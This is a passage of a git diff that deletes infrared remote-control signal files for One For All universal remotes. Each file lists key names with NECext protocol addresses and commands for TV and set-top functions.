00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 28 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 35 00 00 00 -# -name: UpArrow -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 42 00 00 00 -# -name: DownArrow -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 43 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4D 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 51 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 60 00 00 00 -# -name: RightArrow -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 61 00 00 00 -# -name: LeftArrow -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 62 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir deleted file mode 100644 index 571a51d4b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 38 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir deleted file mode 100644 index 39340830d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: multi -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 51 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir deleted file mode 100644 index 2c8b39139..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 35 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir deleted file mode 100644 index f379a8fb7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: PPV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 75 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir deleted file mode 100644 index 79f44cd73..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 14 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 15 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1F 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 28 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 2C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 2D 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 2E 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 53 00 00 00 -# -name: KEY_E -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 57 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 94 00 00 00 -# -name: AV(bad) -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 96 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 97 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 44 00 00 00 -command: C0 00 00 00 -# -name: KEY_H -type: parsed -protocol: NECext -address: 44 00 00 00 -command: C1 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 44 00 00 00 -command: C2 00 00 00 -# -name: KEY_G -type: parsed -protocol: NECext -address: 44 00 00 00 -command: C5 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: D0 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 44 00 00 00 -command: D1 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: D2 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 44 00 00 00 -command: D3 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 44 00 00 00 -command: D4 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 44 00 00 00 -command: D5 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: D6 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 44 00 00 00 -command: D7 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: EB 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 44 00 00 00 -command: EF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir deleted file mode 100644 index ef3957497..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: aus -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_S -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: rot -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: grun -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: gelb -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: blau -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir deleted file mode 100644 index a3611f652..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 04 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 06 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 07 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 0B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 0D 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 10 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 13 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 18 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 19 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 40 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 41 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 42 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 43 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 44 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 45 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 46 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 47 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 49 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 4A 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 4C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 4D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 4E 00 00 00 diff --git 